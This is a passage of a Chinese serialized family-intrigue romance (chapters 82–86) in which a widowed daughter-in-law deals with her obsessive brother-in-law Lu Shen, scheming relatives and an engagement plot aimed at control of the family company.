门外,程丽梅的催促声愈发急促,锁芯已经传来了钥匙插、入的金属摩擦声。
苏亦姝的心几乎要从嗓子眼蹦出来,她死死盯着眼前的疯子,用口型无声地警告:“走啊!”
陆慎却只是慢条斯理地抹掉唇角沾染的一丝属于她的血迹,眼底闪过一抹戏谑。
在房门被推开的前一秒,他猛地松手,身形矫健地一闪,消失在了卧室厚重的天鹅绒窗帘之后。
“吱呀——”
房门被推开,程丽梅带着福伯和两名白大褂医生鱼贯而入。
“亦姝,你怎么回事?敲了半天门都没反应,房间里刚才是什
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么动静?”
程丽梅那双精明的眼如鹰隼般在书房里巡视,不放过任何一个角落。
苏亦姝正扶着书桌,脸色惨白,额头上甚至渗出了细密的冷汗——那不是装的,是刚才与陆慎挣扎时,左手伤处被狠狠拧到的剧痛。
“咳……”苏亦姝声音虚弱,带着几分颤抖,“妈,我刚才想起身倒杯水,结果不小心绊到了地毯,摔了一跤。手……手臂疼得厉害,半天才爬起来。”
她一边说着,一边下意识地用右手托住剧烈抖动的左臂。
程丽梅将信将疑,目光阴冷地掠过窗户。
窗户紧闭着,那是苏亦姝刚才为了遮掩,趁乱用身体死死挡住的一条缝。
“摔了?”程丽梅冷笑一声,径直走向卧室。她推开卧室的门,甚至掀开了床单,拉开了衣柜,最后站在那巨大的落地窗帘前,手已经搭在了帘布边缘。
苏亦姝屏住呼吸,指甲深深掐进掌心。陆慎就在那后面!
“夫人,还是先让医生给大少奶奶检查一下吧,我看她脸色确实不好。”福伯在后方适时地提醒了一句。
程丽梅动作一顿,冷哼一声,终究是松开了窗帘,转头对医生吩咐道:“好好查查,别让人觉得我这做婆婆的刻薄,连儿媳妇受了伤都不知道疼惜。”
医生赶忙上前。
拆开纱布后,只见原本微肿的患处此时竟然透着一圈不正常的红紫,显然是刚才外力挤压造成的。
“夫人,大少奶奶这胳膊确实刚遭到了二次撞击。”医生神色严峻,“若是再这么折腾,这只手以后恐怕连筷子都拿不稳了。接下来的日子,必须绝对静养,严禁任何剧烈活动。”
听到这话,程丽梅心中的疑虑消了大半。
她看着苏亦姝那副病恹恹、几乎站不稳的样子,暗自忖度:伤成这样,应该不是作假!再有,陆慎就算有天大的胆子,也不可能进老宅不惊动任何人。
“既然医生说了,你就安分待着。”程丽梅理了理披风,语气冷硬,“这西侧院外加派了人手,你要是有什么需要的,吩咐下人就行,别自己乱动,平到时候摔倒磕到就不好了,疼的还是自己。”
说罢,她又在屋内巡视了一圈,没发现破绽,才带着人浩浩荡荡地离开。
“砰”的一声,房门落锁。
第八十二章 大早上的暗涌
苏亦姝紧绷着僵硬的身体瞬间软了几分。
她跌坐在沙发上,大口大口地喘着粗气。
她忍着疼,起身走向卧室,目光凌厉地扫向刚才陆慎躲藏的窗帘后。
“陆慎,滚出来。”
然而,窗帘后空空如也。
苏亦姝愣住了。
卧室的窗户开了一条缝,冷风倒灌。
她快步走过去查看,窗外是垂直的墙面,唯有几根装饰性的浮雕支柱。
他走了?
苏亦姝心头松了一口气,随之而来的是心底一股难言的失落与疲惫。
站在窗前,她看着外面昏暗的灯光,整个老宅,安静的让她有些不适应。
静站了一小会儿,苏亦姝这才关好窗户,熄了灯,拖着沉重的身体躺回那张冰冷的大床上。
或许是因为伤口太疼,又或许是老宅的气氛太压抑,她睡得并不安稳。
不知过了多久,就在苏亦姝陷入半梦半醒的混沌时,窗台处再次传来极轻的落地声。
一道黑影如幽灵般潜入,熟稔地进到卧室来。
陆慎并没有离开,他刚才只是徒手挂在窗外的露台上,在黑暗中静静听着屋内的一举一动。
他走到床边,居高临下地看着睡梦中的女人。
月光洒在苏亦姝清冷的脸上,长长的睫毛在眼下投出一小片阴影,眉头即便在睡梦中也紧紧锁着。
陆慎缓缓蹲下身,伸出骨节分明的手,在离她的脸颊只有一公分的地方停住,虚虚地描摹着她的轮廓。
“苏亦姝,守着**的牌位,哪有守着我有趣?”
他眼底那股毁灭性的爱意几乎要溢出来。
他俯身,避开了她受伤的手,极尽温柔地在她额头落下一个冰凉却缠绵的吻。
“既然那些人非要拆散我们,那我就连根拔起。这样,就没人再能阻止我们了……你,苏亦姝,只会是我的。”
黑暗中,陆慎的嘴角勾起一抹残忍又深情的笑意,眼底的占有欲和偏执,那么清晰可见。
第二天,苏亦姝吃过早饭,便在园子里散步消食,老宅的青石板路上还带着昨夜雨后的潮湿。
昨晚发生的事情,让她觉得似乎是个梦。但她知道,昨晚的事情,真真切切发生过。
虽然陆慎消失得无影无踪,但她知道,那个疯子一定在这宅院的某个角落里盯着她。
还没走几步,便在假山旁的月亮门前,撞上了三房的母女。
陆玥今日换了一身鹅黄色的淑女裙,大概是昨晚被老爷子吓倒了,现在看到苏亦姝,原本想脱口而出的谩骂生生卡在嗓子眼,重重地冷哼一声,把脸偏向一侧,鼻孔朝天,却终究没敢再吐一个脏字。
苏亦姝神色清冷,甚至连个余光都没给她,准备换条道走。
心里埋汰着,真是一大早出门没看老黄历……
“亦姝啊,这么早就出来走动,身体可还吃得消?”
一声亲昵的呼唤响起,何婉如摇曳生姿地走上前。
那张保养得宜的脸上堆满了和煦的笑意,仿佛昨天发生的那些事情不复存在。
苏亦姝脚步微顿,心中暗暗惊叹。
这何婉如在国外待了这些年,城府磨练得确实深不可测,这份“伸缩自如”的本事,倒比陆玥那草包样子难对付得多。
“多谢三婶挂心,医生说要多走动,对伤口愈合有好处。”苏亦姝淡声回应,礼貌中透着一种疏离。
“这就好。我啊,昨晚一宿没睡好,总想着咱们一家人刚团聚就闹了不愉快,心里过意不去。”
何婉如自顾自地伸手想去拉苏亦姝的手,却被苏亦姝不着痕迹地侧身避开了。
何婉如也不尴尬,收回手顺势压了压鬓角的发丝,笑得更深了。
“亦姝,你别往心里去。玥玥那丫头口无遮拦,我已经教训过她了。咱们以后在老宅低头不见抬头见的,总归是血脉相连的一家人,你说是不是?”
苏亦姝心底冷笑。
一家人?若是真的念及血脉,陆子勋昨天就不会逼她一个晚辈下跪了。
“三婶言重了,长辈教导晚辈是应当的,我身为大嫂,教教阿玥规矩也是为了陆家的体面。”
苏亦姝软刀子顶了回去,噎得何婉如嘴角微微抽搐。
苏亦姝懒得再看这副假面具,正准备寻个由头离开,不远处却传来了一阵不急不缓的脚步声。
“哟,弟妹这一大早的,兴致倒是不错。”
随着这声讥讽,柯沁缓缓走了过来。另一边,程丽梅的身影也出现了。
程丽梅今日穿了一件绛紫色的暗纹旗袍,面色沉郁,显然还记挂着昨晚深夜闯房却无功而返的疑虑。
而柯沁,一双精明的小眼睛正滴溜溜地在苏亦姝和何婉如身上打转,明显的心里有着想法。
“三弟妹,你这拉家常的本事倒是没退步。”可亲笑着走到近前,看着何婉如。
何婉如笑容微僵,随即掩唇轻笑。
“二嫂这话说得,亦姝也是我侄媳妇,跟侄媳妇拉家长,不是很正常嘛。”
何婉如的虚伪周旋,程丽梅的老城深府,柯沁的挑拨离间,外加一个满脸怨毒却不敢出声的陆玥。
五个女人,在这一方小小的假山池塘边,织就了一张密不透
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风的网。
苏亦姝站在正中央,看着这几张各怀鬼胎的脸,心中毫无波澜,甚至觉得有些可笑。
老爷子以为把她关在老宅能让她安分,却不知这陆家内里,根本就容不得人安分。
五个女人立在假山池塘边,清晨的微风本该是沁人心脾的,此刻却因这剑拔**张的气氛显得格外肃杀。
苏亦姝冷眼瞧着,何婉如像条滑不溜手的泥鳅,柯沁像只看热闹不嫌事大的黄鹂,而程丽梅,则像是一座随时会喷发的深沉火山。
“既然几位长辈有话要谈,亦姝就不打扰了。”苏亦姝微微颔首,再次准备抽身。
“急什么?”柯沁眼疾手快,侧身挡住了苏亦姝的去路。
她那双精明的小眼弯成了一道缝,笑得不怀好意,“亦姝啊,你现在可是咱们陆家的红人。百分之八的股份,这分量压在肩膀上,走路都得沉上几分吧?咱们这些做婶婶的,还想请教请教,你是怎么让老爷子松这个口的?”
这话挑衅意味十足,直指苏亦姝“手段了得”。
“二婶若是好奇,大可以去问爷爷。”苏亦姝面色沉静,语气波澜不惊,“爷爷给,我便接着。陆家的规矩,向来是长、者赐,不可辞。”
“你——!”柯沁被这一句话噎得脸色发紫,看向程丽梅。
何婉如见缝插针,软着嗓子道:“瞧瞧,亦姝这性子就是通透。”
程丽梅一直没说话,只是冷冷地看着这两个妯娌表演。
她心里很清楚,何婉如和柯沁这是在联手试探苏亦姝的底线,也是在打陆钦遗产的主意。
虽然她对苏亦姝昨晚的表现依旧存疑,也深恨这个儿媳妇不安分,但在陆家老宅,这种“内部矛盾”还轮不到外人来插手。
“行了。”程丽梅突然开口,声音厚重有力,透着长房主母的威严。
她缓缓上前一步,站在了苏亦姝身前,挡住了何婉如和柯沁那充满算计的视线。
“亦姝是我大房的人,阿钦虽然不在了,但我这个做婆婆的还没死。”程丽梅面色不悦。
程丽梅转过头,看向苏亦姝。虽然护了短,但那眼神里依旧没多少温度,反而带着几分警告。
“亦姝,既然累了就回房歇着。这园子里湿气重,要是落下什么病根,别人还得说我这个当婆婆的没照顾好你。”
“是,妈。”苏亦姝从善如流地应下。
她知道程丽梅这番话并非真心疼惜,不过是长房的自尊心作祟,容不得二房和三房在她面前耀武扬威罢了。
这种微妙的制衡,反倒给了她喘息的空间。
第八十三章 蛇鼠一窝
一处高奢茶馆。
陆玥刚坐下,便迫不及待地将手中的名牌包往沙发上一甩,娇蛮的脸上满是愤恨。
“西双姐,你是不知道苏亦姝那个**现在有多嚣张!她仗着爷爷给的那点股份,连我爸妈都不放在眼里,昨天甚至害得我爸跪在正厅受辱!”
赵西双今日穿了一件素雅的米色长裙,整个人显得温婉大方。
她亲手为陆玥斟了一杯茶,动作优雅,听到这些话时,睫毛微微颤动,掩住了眼底深处那一抹阴毒。
“玥玥,快消消气。我听说了,陆爷爷最是看重规矩,亦姝毕竟是长房长媳,名分在那儿压着,你平时多让着她些便是了。”
赵西双声音轻柔,语气中带着几分无奈的叹息。
“只是可惜了陆钦大哥留下的那些股份,若是落在旁人手里倒也罢了,偏偏落在她一个不安分的遗孀手里……我真替你们陆家担心。”
“让着她?她凭什么!”陆玥一听这话,火气更旺,直接拍了桌子。
“她算什么长房长媳?不过是个克死丈夫的丧门星!西双姐,你就是太善良了,当初若不是她横插一刀,阿慎哥哥怎么会被她迷得五迷三道的,甚至为了她连家主的位置都不要了!”
提到陆慎,赵西双握着茶杯的手指猛地收紧,骨节泛白。
“亦姝确实有她的本事。”赵西双苦笑一声,话里有话地拱火。
“阿慎现在被她牵着鼻子走,连陆家的颜面都不顾了。玥玥,你可得提醒你哥,现在苏亦姝进了董事会,要是她和阿慎联手,这陆家以后……怕是真没你们三房说话的分了。”
“她敢!”陆玥咬牙切齿地咒骂,“我非撕烂她那张狐狸精脸不可!”
坐在一旁始终保持沉默的陆彦,此时才缓缓抬起头。
他看着自家小妹那副被人当枪使还不自知的蠢样,眼底掠过一丝不耐。
“玥玥,去楼下看看我定的那套点心好了没。”陆彦嗓音温润,却带着一股不容置疑的力道。
“哥,我正跟西双姐说话呢……”
“去。”陆彦眼神微凉。
陆玥缩了缩脖子,虽然不甘心,但也知道自家哥哥沉下脸来有多可怕,只能悻悻地起身下楼。
房间内瞬间安静下来,只剩下茶炉沸腾的咕嘟声。
陆彦推了推金丝眼镜,似笑非笑地看着对面的赵西双。
“赵小姐,拱火的话,对着我妹妹说就够了。在我面前,就没必要绕弯子了。”
赵西双脸上的温婉笑意淡了几分,她放下茶杯,直视陆彦。
“四少是个聪明人。苏亦姝现在是陆慎的软肋,也是你们三房回国掌权的绊脚石。我们有着共同的敌人,不是吗?”
“赵家最近在在投城南的项目,赵小姐是想借我的手,把苏亦姝从那个位置上拉下来?”陆彦一针见血,眼底闪过一抹精光。
“不,我比你更想让她消失。”赵西双的声音冷了下去,透着一股疯狂的恨意,“陆慎爱她爱到发疯,那我就要亲眼看着她跌落泥潭,被万人唾弃。只要她身上的那层‘长房遗孀’的皮被扒掉,老爷子绝不会容她,陆慎也保不住她。”
陆彦指尖轻点桌面,那有节奏的声响在安静的包厢内显得格外突兀。
他看着赵西双,没有接她关于“让苏亦姝消失”的狠话。
对于他这种利益至上的人来说,毁灭一个女人并不是最终目的,夺得陆家的掌权才是。
“赵小姐。”陆彦缓缓开口,金丝眼镜后的眸光冷冽如冰,“之前你提议的那个合作,准备什么时候开始实施?我的耐心有限,擎天的局势瞬息万变,我不希望把时间浪费在无意义的等待上。”
赵西双先是一愣,紧接着,那双画着精致眼线的眸子里闪过一抹犹豫。
她握着茶杯的手指无意识地摩挲着杯沿,嘴唇紧抿。
陆彦见状,喉间溢出一声极轻的冷笑,带着浓浓的嘲讽。
“赵小姐莫不是还在等陆慎回头?等他抛弃苏亦姝,然后回心转意来娶你?”
这话直戳赵西双的痛处,她的脸色瞬间由白转青。
“我……”
“如果你还抱着这种天真的念头,那我劝你趁早断了这份心思。”陆彦毫不留情地打断她,眼神中透着一种审视货物的冰冷。
他很想直接告诉她:你拿什么跟苏亦姝比?除了有个像样的家世背景,在陆慎眼里,你连苏亦姝一根头发丝都比不上。但为了维持表面的盟友关系,他忍住了这句实话。
“赵小姐若是还想继续观望,那我只能找其他的合伙人了。”
陆彦站起身,慢条斯理地整理了一下西装袖口,语调平稳却步步紧逼。
“苏亦姝虽然是个麻烦,但她手里攥着的股份和她在工作上的能力,对我来说也不是不可合作。毕竟,在利益面前,没有永远的敌人。”
这话彻底击碎了赵西双最后的心理防线。
让陆慎爱苏亦姝,已经是她的奇耻大辱;如果连陆彦这个暂时的盟友都倒戈向苏亦姝,那她在江城就真的成了笑柄。
“站住。”赵西双咬牙切齿地开口,声音从齿缝中挤出来,“计划……那就开始。”
陆彦停下脚步,侧过身,好整以暇地看着她。
“你回去跟陆爷爷说,我们要订婚。这门亲事,是他一直以来希望看到的联姻。我也会说服我爷爷支持你,也会动用赵家所有的资源配合你在董事会**。”
赵西双抬头,眼底闪烁着某种疯狂而决绝的光芒。
“但我的要求只有一个:陆慎我可以得不到,但苏亦姝,我必须要亲手弄死!”
“成交。”陆彦嘴角勾起一抹满意的弧度。
他重新坐回位置,两双充满了算计和阴暗心思
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的眼睛在升腾的茶雾中对视。
陆彦很清楚,只要他和赵家联姻,老爷子为了陆家的名誉和利益,一定会大力扶持三房。
另一边,顾氏旗下的私人会所顶层。
陆慎靠在真皮沙发上,领口微敞,手里晃着半杯威士忌。
顾从之捏着手机快步走进来,脸色有些沉:“阿慎,赵家那边传来消息,赵西双和陆彦要订婚,估计明后天,订婚的消息就会传遍整个江城。”
一旁的陈淮猛地抬头,眉头紧锁。
“陆彦刚回国,这么急着找赵家联姻,明显是冲着董事长那个位置去的。他这是想借赵家的势,在董事会站稳脚。关键是,找赵西双!这特么……真膈应人……”
陆慎听着两人的话,脸上并没有露出一丝惊慌或愤怒,反而发出一声低促的冷笑。
“蛇鼠一窝罢了。”陆慎仰头将杯中的烈酒一饮而尽,辛辣的液体滑入喉咙,却压不住心底翻涌的躁戾。
“这两个人凑在一起,倒是绝配。”
“阿慎,你一点都不担心?”顾从之有些摸不透他的想法,“一旦他们订婚,老爷子为了平衡局势,一定会把原本属于你的资源分给三房。更何况,苏亦姝现在还在老宅。”
提到苏亦姝,陆慎握着酒杯的手指猛然收紧。
“陆彦以为,有了赵西双就能翻盘?”陆慎缓缓起身,走到落地窗前,俯瞰着整座城市的流光溢彩,眼神阴鸷得可怕,“他太小看赵西双的疯劲,也太小看我的耐心了。”
“你的意思是?”陈淮试探着问。
“陆彦这种利益至上的人,最看重的是名声和前途。赵西双这种疯女人,浑身都带着狠劲,也是个利己者。”陆慎转过头,眼底闪烁着残忍的光芒,“他们想订婚,那就让他们定。我倒要看看,当利益对冲的时候,这两人会怎么互撕。”
他已经查到,陆钦那场意外,背后藏着的不仅仅是商场的博弈,还有陆彦在海外推波助澜的手笔。
“陈淮,去查查赵西双最近在南城项目里的资金往来。”陆慎冷冷吩咐,“我要确切的证据,证明她为了平账,动用了赵家的根基。既然赵家想找死,我不介意送他们一程。”
“明白。”
顾从之还是有些担心,“那苏亦姝那边呢?你就不担心?”
陆慎想到昨晚在西侧院,苏亦姝那张清冷且充满防备的脸,心尖像被细细的丝线勒住一般。
他确实疯,但他所有的步步为营,都是为了把那个女人。
“她没那么脆弱。”陆慎沉声道,语气中透着一股莫名的骄傲,“苏亦姝手里的那百分之八的股份,现在成了陆彦的眼中钉。只要她不低头,陆彦就拿她没办法。不过……”
他顿了顿,眼神中闪过一抹偏执的疯劲,“若是那帮人敢动她一根汗**,我就让整个陆家,陪葬。”
第八十四章 爷爷,我要订婚
晚上,陆家老宅的饭桌上。
众人坐在桌子上,脸上都带着惯有的笑。只是这笑容有几分真,谁也不知道。
陆老爷子端坐在主位,程丽梅沉着脸坐在左侧,苏亦姝则安静地坐在程丽梅身旁。
她低垂着眼睫,手中的白瓷勺偶尔触碰碗壁,发出一两声清脆的声响,自始至终,她都像是个局外人,冷眼看着这席间的暗流涌动。
酒过三巡,陆彦突然放下了手中的筷子,清了清嗓子,目光似有若无地掠过苏亦姝,最后定格在老爷子脸上。
“爷爷,趁着大家都在,我有件事想向您和各位长辈报备。”陆彦微微一笑,语调温润,“我打算和西双订婚了。”
“哐当”一声!
程丽梅手边的酒杯被猛地带倒。
“你说什么?”程丽梅脸色阴沉下来。赵西双是她精心挑选、准备给陆慎稳固地位的助力,如今竟然要变成三房的儿媳妇?这无异于当众扇了她一个响亮的耳光。
陆彦起身,神情恳切,甚至带着几分无奈。
“爷爷,我知道这件事让大家很惊讶。其实我和西双在国外求学时就相识了。那时候,她心里只有三哥,我便一直压抑着感情,想着只要她能做我嫂子,我守着她也好。可现在……三哥把她伤得体无完肤,赵家也因为退婚的事沦为笑柄。我实在不忍心看她继续沉沦,我想守护她。所以,请爷爷成全。”
老爷子拨弄着佛珠,浑浊的眼中闪过一抹深思。
赵家虽被陆慎退婚,但毕竟是跟陆家齐名的存在,南城的项目更是离不开赵家的支持。
“西双那边,答应了?”老爷子沉声问。
“答应了。”陆彦点头,语气坚定,“她也希望能给赵陆两家一个重新修复关系的机会。”
“呵,修复关系?”程丽梅冷笑,拿手帕擦着手上的酒渍,语气极尽刻薄,“陆彦,你这接盘的本事,还真是准时得让人叹为观止。不知道的,还以为你回国之前,就已经把这局棋布好了呢。”
“大伯母,我知道这件事,让您很难接受……但是,我也是在三哥退婚后,才主动找到西双的……”陆彦露出惶恐的神色,“还请大伯母谅解。”
一旁坐着的二伯陆子谦抿了一口酒,笑得阴阳怪气。
“阿彦,不是二伯说你。这事儿确实不妥。赵西双之前对阿慎那是黏得紧,全江城都知道。现在转头跟你订婚,你就不怕被当成跳板?”
说到这里,陆子谦刻意压低了声音,目光意有所指地朝苏亦姝扫了一眼,意味深长道:“别搞得到时候,又惹出什么‘叔嫂’之类不好听的传闻来,那咱们陆家的脸,可真就丢尽了。”
这话一出,席间气氛降至冰点。
苏亦姝握着筷子的手紧了紧,却依旧没有抬头。
陆子勋见状,立即护犊子般开口。
“二哥,你不能因为阿域一直没对象,就见不得阿彦好。西双跟阿彦那是共事多年的情分,知根知底!”
“就是!”陆玥也忍不住跳出来,挑衅地瞪着苏亦姝,“西双姐姐名门闺秀,跟我哥那是郎才女貌,做我嫂子最合适不过了。总比某些人强百倍!”
陆域一直没说话,他靠在轮椅背上,目光饶有兴致地盯着苏亦姝。
然而,苏亦姝只是淡定地夹了一块青菜,慢条斯理地咀嚼着,好似根本就不在意他们说的事,一心吃着自己的饭。
老爷子沉默良久,突然转过头,目光锐利地看向苏亦姝。
“亦姝,你是长房长媳,如今也是董事会成员。这件事,你觉得呢?”
唰——!
所有人的目光瞬间看向苏亦姝。
陆彦拧了拧眉,似乎对老爷子这个问话,有些不满。
苏亦姝放下碗筷,优雅地擦了擦嘴角。她抬起头,脸上挂着一抹挑不出错处的端庄笑容,这才缓缓说道。
“都说宁拆一座桥,不拆一桩婚。四弟能在这时候站出来承担责任,护住赵小姐的名声,自然是好事。”
她顿了顿,话锋一转,语气中带了点深思熟虑的忧虑。
“只是,这个节骨眼上……陆慎刚退婚,四弟就补位。外面那些媒体最喜欢捕风捉影,若是处理不好,很容易让人觉得咱们陆家内部早有嫌隙,甚至会影响擎天的股价。”
苏亦姝看向老爷子,神情自然,且带着几分考虑。
“若是四弟跟赵小姐真的有在一起的想法,为了陆家的长久体面,再等一段时间避避嫌,也不是不可。爷爷,这只是我的个人看法。毕竟,我是陆家的一份子,凡事,总归要先从陆家着想。”
这一番话,明
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着是在夸陆彦有担当,实则却是在暗示老爷子:陆彦在急功近利,且不顾家族名誉。
更妙的是,她那句“为了陆家着想”,直接把陆彦推到了“自私”的一方。
老爷子握着佛珠的手紧了紧,看着苏亦姝的眼神里多了一丝赞赏。
这种大局观,确实比席间这些只知道争风吃醋的强太多。
“亦姝说得有几分道理。”老爷子拍板定论,“订婚的事可以先定下,但对外官宣和办酒,再压一压。陆彦,你有心守护西双是好事,但别坏了陆家的风评。”
陆彦的笑容僵在脸上,他死死盯着苏亦姝,眼底的阴鸷几乎要溢出来。
他费尽心机布的局,竟然被她轻飘飘几句话,就给按下了暂停键。
陆域轻笑一声,说道:“我也赞成大嫂的话,四弟可以再等等,正所谓好事不怕晚嘛。”
晚宴散去。
苏亦姝独自走在回西侧院的小径上。路灯昏暗,四周的树影重重。
突然,一道黑影从假山后闪出。
“大嫂……”陆彦那温润的声音响起。站在不远处,看着苏亦姝,“你刚才那几句话,我想问问大嫂,是真的为陆家考虑,还是……为了三哥?”
苏亦姝微微蹙眉,冷冷对视。
“四弟这话说的,我当然是为了陆家考虑。若是四弟有什么不满的,可以找爷爷去说,爷爷向来明事理,想必能理解四弟的想法。”
路灯将两人的影子拉得很长。
陆彦缓步逼近,金丝眼镜下的那双眼不复方才席间的惶恐与温润,反而透着积分阴森。
“大嫂总是这样,说话滴水不漏。”
陆彦站定在苏亦姝身前一步远的位置,声音低沉,带着几分玩味,“但我很好奇,如果今天提订婚的人是陆慎,大嫂还会说出‘避嫌’这两个字吗?还是说,大嫂其实很享受这种被兄弟二人同时簇拥的感觉?”
这种暗含羞辱的试探,苏亦姝听得多了,内心甚至泛不起一丝涟漪。
“四弟慎言。”
苏亦姝脊背挺得笔直,清冷的眉眼间,透着一种拒人于千里之外的疏离。
“不管是你还是陆慎,于我而言,都只是陆家的兄弟。至于你说的‘享受’,那种自毁名声的恶趣味,恐怕只有四弟才会觉得是种福气。”
第八十五章 程丽梅的心思
“自毁名声?”
陆彦轻笑一声,笑意不达眼底。
“原来,大嫂还在乎名声啊。我还以为,大嫂不在乎那些了呢……”
苏亦姝眼眸发冷。
“我的事就不劳四弟记挂了,四弟要是有这个闲情,那就多用在正事上……免得到时候,竹篮打水一场空……”
“你——!”
“哟,这儿可真热闹。”
随着不轻不重的轮椅声,陆域缓缓从假山阴影处滑入。
他换了一身月白色的居家服,在夜色中显得格外扎眼,那张苍白的脸上挂着一抹兴致盎然的笑。
“我原本只是想出来消消食,没想到竟看到大嫂和四弟在这儿聊得投机。怎么,四弟这是在跟大嫂请教‘订婚’的礼仪吗?”
陆彦脸色微变,原本狠戾的神情在刹那间切换回了那种无害的温润。
“二哥,只是恰好碰到了大嫂,想着就聊几句。”陆彦笑着解释,语气自然得仿佛刚才那场针锋相对从未发生。
“是吗?”陆域转动轮椅停在两人中间,目光在苏亦姝身上停了一秒,随即又漫不经心地移开。
“我还有事,就先去忙了。二哥和大嫂聊……”说着,便离开了。
陆彦离开后,小径上只剩下轮椅缓缓碾过枯叶的声音。
陆域看向苏亦姝,说道:“大嫂以后对上陆彦,还是小心点为好,他那个人,看地温润无害,实则手段多着呢。多少人都被他那表象给蒙蔽过去了。”
苏亦姝点点头。“我知道。”
陆彦是什么人,她虽然没有深入了解,但多少还是知道一点的。
“我先回去休息了……”苏亦姝觉得自己此时,还是不要跟过多人接触比较好。她现在的身份,着实有些尴尬。
再一个就是,老宅里的每个人,几乎都盯着她。
陆域见她要离开,立即说道:“大嫂,我们之前的合作……”
“自然是生效的,我现在进擎天董事会了,你也不远了……”说完,苏亦姝便离开了。
看着苏亦姝离开的背影,陆域坐在轮椅上,微微眯起双眼。
苏亦姝,希望你说的是真的,否则,我陆域可是会咬下你一块肉的。
第二天,苏亦姝吃过早饭正在换左手的药,程丽梅就过来了。
她看着苏亦姝,说道:“你跟我去医院,看看可人吧。”
苏亦姝换药的手一顿,而后不紧不慢地说道:“妈,苏可人那边,您自己过去看吧,我就不去了。”
“苏亦姝,我都使唤不了你了?”程丽梅有些不满。
苏亦姝神色不变,说道:“妈,你觉得,我一个明媒正娶的妻子,要去看望一个说是怀着我老公孩子的小三??你觉得这事,说出去别人怎么想?我没有妈您胸襟宽广,做不到无动于衷。”
程丽梅看着苏亦姝,其实,她也不是非要拉着她去不可,只是来试探一下。
沉默一瞬,然后说道:“那你就在家好好养伤。”
说完,便离开了。
看着程丽梅离开,管家福伯叹了口气,说道:“其实,大夫人以前不是这个样子的。大夫人虽然是程家大小姐,但是为人处世向来有分寸,也讲礼数。只是后来……说起来,这都是……不说了。”
苏亦姝看着福伯,其实他不说她都知道。
但是,那又如何?她程丽梅遭受过的,难不成还要她苏亦姝顺着她的路再走一遍?她做不到。
医院,特护病房。
苏可人靠在床头,那双曾经顾盼生辉的眼里此刻布满了血丝。
窗外透进来的阳光落在她高高隆起的腹部,却给不了她半分温暖。
得知苏亦姝不仅毫发无损地回了陆家,还被老爷子亲自接进老宅住进了西侧院,甚至拿到了百分之八的股份进驻董事会,苏可人嫉恨得几乎咬碎了满口牙。
凭什么?苏亦姝不过是个克夫的寡妇,凭什么能安然无语,能得到那么多?
而她这个怀着陆家长孙血脉的功臣,却只能像个见不得光的小偷一样,被关在这病房里,像坐牢一样。
房间门被推开。
程丽梅一身绛紫色旗袍,手提着补品,面色冷淡地走了进来。
“阿姨……”苏可人见到程丽梅,立刻收起了脸上的狰狞,换上了一副楚楚可怜的模样。
她挣扎着想坐起来,声音里带着几分颤抖和哽咽,“您终于来了,我这心里……实在是慌得厉害。”
程丽梅示意护工将东西放下,自己坐在了一旁的单人沙发上,目光在苏可人的肚子上掠过,并无多少慈爱。
“慌什么?医生说胎象已经稳了,你只要安心待产便是。”
“我怎么安心得下啊?”苏可人绞着被角,眼泪啪嗒啪嗒往下掉。
“阿姨,我听说亦姝姐回老宅住了……她以前就容不下我,当初在楼道那儿……我这肚子里的孩子可是阿钦唯一的血脉,若是她以后在家里动什么手脚,我怕,我真的怕保不住这
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个孩子啊。”
提到了“楼道摔倒”的事,程丽梅的眉头微不可察地皱了一下。
苏可人见程丽梅不说话,以为她动摇了,变本加厉地哭诉。
“她现在进了董事会,又有股份在手,连陆家其他两房都要忌惮她几分。我只是个没名没分的弱女子,等孩子生下来,她万一记恨阿钦对我的一片心意,要把孩子抢走或者……或者害了他,我该怎么办?”
“够了。”程丽梅冷冷地打断了她的哭嚎,眼神凌厉。
苏可人的哭声戛然而止,愣愣地看着程丽梅。
“苏可人,你管好你自己,生下孩子就是你唯一的任务。其他的,用不着你操心,你也操不起这个心。”
程丽梅站起身,居高临下地俯视着她,语气没有任何起伏。
“还有,上次摔倒的事情,并不是苏亦姝所为,这件事老爷子已经查清楚了,以后莫要再提。”
苏可人瞳孔骤缩,尖声道:“查清楚了?不可能!那个人当时说的那些话……明明就……”
其实,老爷子并未真的去翻查监控或对质,他只是在事发后勒令封口,冷冷地甩下一句“这件事跟苏亦姝无关,不必再查”。
作为老宅的掌权者,老爷子不在乎真相,他只在乎陆家的平衡。
苏亦姝是陆家长媳,就必须是清白端庄的长房长媳。
程丽梅心中自然也通透。
虽然她厌恶苏亦姝,但她也了解苏亦姝的傲骨——那个女人即便要动手,也会明着撕碎对手,绝不屑于推人下楼这种下三滥的手段。
反倒是眼前这个苏可人,心思写在脸上,贪婪刻在骨子里。
“老爷子说不是她,那就不是她。”
程丽梅推了推手上的玉镯,语气充满了不容置疑。
“苏可人,有些事情既然已经做了,就没了回头的余地。你既然选了这条路,就得受着这份冷清。你要是安分,陆家少不了这孩子一世荣华;你若是不安分……”
程丽梅冷笑一声,后面的话没说完,但那股豪门当家主母的气势已让苏可人脸色一变。
程丽梅离开后,病房里恢复了死一般的寂静。
苏可人死死地盯着紧闭的房门,五官因愤怒和恐惧而变得扭曲。
“查清楚了?跟她无关?”她疯狂地抓起枕头砸向地面,低声嘶吼道,“你们陆家没一个好东西!苏亦姝,你以为进了老宅就能相安无事了吗?我不好过,你也休想过的舒坦!”
第八十六章 苏振东跳墙
转眼间,深秋了。
江城的深秋,风里带着刺骨的寒意。
对于苏振东来说,这个秋天比以往任何时候都要冷。
就在今天早上,赵氏集团主导的城南度假村项目被爆出严重的地质勘探**,紧接着资金链断裂,甚至还卷入了一起**的丑闻。
赵家底蕴深厚或许还能断臂求生,但跟着赵家屁股后面豪赌了一把的苏氏集团,彻底遭了殃。
苏振东在办公室里急得像热锅上的蚂蚁,电话一个接一个被打爆,全是催债的。
“还有分公司!对,分公司账上还有钱!”
苏振东像是抓住了最后一根救命稻草,立刻带着财务总监想要强行调动分公司的资金填补总部的窟窿。
然而,当他把公章拍在银行柜台上时,得到的答复却让他如遭雷击。
“抱歉,苏先生。这家分公司的股权早在半个月前就已经完成了变更,目前不属于苏氏集团名下,您无权调动任何资金。”
“什么?!”苏振东两眼一黑,差点晕过去,“变更给谁了?”
“一家海外的信托机构,实际控股人……是苏亦姝小姐。”
那一刻,苏振东才明白,自己这辈子打雁,最后却被雁啄了眼。
那个平日里不声不响的大女儿,早就给他来了一招釜底抽薪!
他气得发抖,却又无可奈何。
现在的他,是一条丧家之犬,为了活命,他只能厚着脸皮去求人。
他先去了医院找苏可人。
病房里,苏可人护着肚子,一脸为难地看着苏振东,眼底蕴含着讥讽和鄙夷。
